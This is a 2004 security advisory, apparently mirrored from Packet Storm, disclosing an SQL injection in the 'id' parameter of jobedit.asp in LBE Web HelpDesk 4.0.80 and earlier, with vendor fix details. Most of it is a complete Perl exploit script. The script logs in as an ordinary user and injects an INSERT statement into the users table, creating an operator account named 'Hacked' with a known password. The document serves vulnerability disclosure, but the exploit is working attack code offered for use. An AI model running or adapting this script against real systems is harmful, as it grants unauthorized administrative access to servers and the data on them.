Lucene search
K

LBEhelpdesk.txt

🗓️ 24 Jul 2004 00:00:00Reported by Noam RathausType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Vulnerability in LBE Web HelpDesk allows SQL Injection for unauthorized admin access.

Code
`*LBE Web HelpDesk SQL Injection  
  
*  
*Summary*  
Leigh Business Enterprises's Web HelpDesk <http://www.lbehelpdesk.com/>  
is "operated entirely through your web browser and is designed to be  
used by both your support staff and your customers".  
  
We found the product to contain at least one exploitable SQL Injection  
vulnerability that would allow a normal user to gain administrative  
privileges to the Leigh Business Enterprises's Web HelpDesk product.  
  
*Details*  
*Vulnerable Systems:*  
* Leigh Business Enterprises's (LBE) Web HelpDesk 4.0.80 and prior  
  
*Immune Systems:*  
* Leigh Business Enterprises's (LBE) Web HelpDesk version 4.0.0.81 or newer  
  
We found the product to contain at least one exploitable SQL Injection  
vulnerability that would allow a normal user to at the very least gain  
administrative privileges to the Leigh Business Enterprises's Web  
HelpDesk product, at the worst case he will be able to get complete  
control over (administrative privileges) the computer on which the Leigh  
Business Enterprises's Web HelpDesk is installed and utilize it to gain  
access to other computers.  
  
The vulnerable page is the jobedit.asp, and its 'id' parameter. The  
parameter receives, from the user, part of SQL statement that is later  
used by the Leigh Business Enterprises's Web HelpDesk. If we insert a  
malicious SQL statement to the 'id' parameter, we can modify the 'users'  
table, and add a new user that will have the permissions of as an operator.  
  
See the below exploit code demonstrating how we gain administrative  
privileges to Leigh Business Enterprises's Web HelpDesk, by only  
providing it with a username and password (regular user).  
  
*Vendor response:*  
/We have today sent out a notification to our customers with details of  
the fix that can be downloaded from:  
http://www.lbehelpdesk.com/helpdesk-latest.htm/.  
  
*Testing Methodology:*  
A few months ago Beyond Security built a new module for its Automated  
Scanning Vulnerability Assessment engine to test web sites and web  
applications for security vulnerabilities. This module adds the  
capability to dynamically crawl through a web site and find  
vulnerabilities in its dynamic pages.  
  
This type of tool was considered to be different from the network VA  
tools, but we at Beyond Security believe that these two types of tools  
should be merged into one, and this is what made us incorporate the Web  
Site Security Audit module to our Automated Scanning engine.  
  
For a press release on this integration see:  
http://www.beyondsecurity.com/press/2004/press10030402.htm  
White paper on the first integrated network and web application  
vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf  
  
Our Automated Scanning engine equipped with the Web Site Security Audit  
module did all the tests described in this advisory automatically.  
  
*Exploit:*  
#!/usr/bin/perl  
  
use IO::Socket;  
use strict;  
  
my $host = $ARGV[0];  
my $Path = $ARGV[1];  
my $Email = $ARGV[2];  
my $Password = $ARGV[3];  
  
if (($#ARGV+1) < 4)  
{  
print "lbehelpdesk.pl host path email password\n";  
exit(0);  
}  
  
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,  
PeerPort => "80" );  
  
unless ($remote) { die "cannot connect to http daemon on $host" }  
  
print "Getting default cookie\n";  
  
my $http = "GET /$Path/oplogin.asp HTTP/1.1  
Host: $host  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)  
Gecko/20040405 Firefox/0.8  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima  
ge/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Connection: close  
  
";  
  
print "HTTP: [$http]\n";  
print $remote $http;  
sleep(1);  
  
my $Cookie = "";  
  
while (<$remote>)  
{  
if (/Set-Cookie: ([^;]+;)/)  
{  
$Cookie .= $1." ";  
}  
  
# print $_;  
}  
print "\n";  
  
close($remote);  
  
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,  
PeerPort => "80" );  
  
unless ($remote) { die "cannot connect to http daemon on $host" }  
  
print "Logging in\n";  
  
$remote->autoflush(1);  
  
my $http = "POST /$Path/gstlogin.asp HTTP/1.1  
Host: $host  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)  
Gecko/20040405 Firefox/0.8  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Connection: close  
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp  
Cookie: $Cookie  
Content-Type: application/x-www-form-urlencoded  
Content-Length: ";  
  
my $content = "txtemail=$Email&txtpwd=$Password";  
  
$http .= length($content)."  
  
$content";  
  
print "HTTP: [$http]\n";  
print $remote $http;  
sleep(1);  
  
my $success = 0;  
while (<$remote>)  
{  
if (/Location: eval.asp/)  
{  
$success = 1;  
print "Login successfull\n";  
}  
  
# print $_;  
}  
print "\n";  
  
close $remote;  
  
if (!$success)  
{  
print "Login failed\n";  
exit(0);  
}  
  
$http = "GET  
/$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,".  
"%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,".  
"%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,".  
"%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',".  
"%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,".  
"%201,%201) HTTP/1.1  
Host: $host  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)  
Gecko/20040405 Firefox/0.8  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Connection: close  
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp  
Cookie: $Cookie  
  
";  
  
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,  
PeerPort => "80" );  
  
unless ($remote) { die "cannot connect to http daemon on $host" }  
  
print "HTTP: [$http]\n";  
print $remote $http;  
sleep(1);  
  
while (<$remote>)  
{  
if (/Unable to find Job id = 0 ; INSERT INTO users/g)  
{  
print "Successfully added record\nYou can now log on as  
Hacked/password (Username/Password)\n";  
}  
# print $_;  
}  
  
close($remote);  
  
# INSERT INTO users ( user_name, password, editactiontime, orgstructure,  
createviewtemplate, removelogins, editlinkedfiles, newencrypt,  
showalljobs, publishmacros, override_contract ) VALUES ('Hacked',  
'60716363677F6274', 1, 1, 1, 1, 1, 'Y', 1, 1, 1) # Password is 'password'  
  
*Additional information*  
The information has been provided by Noam Rathaus   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation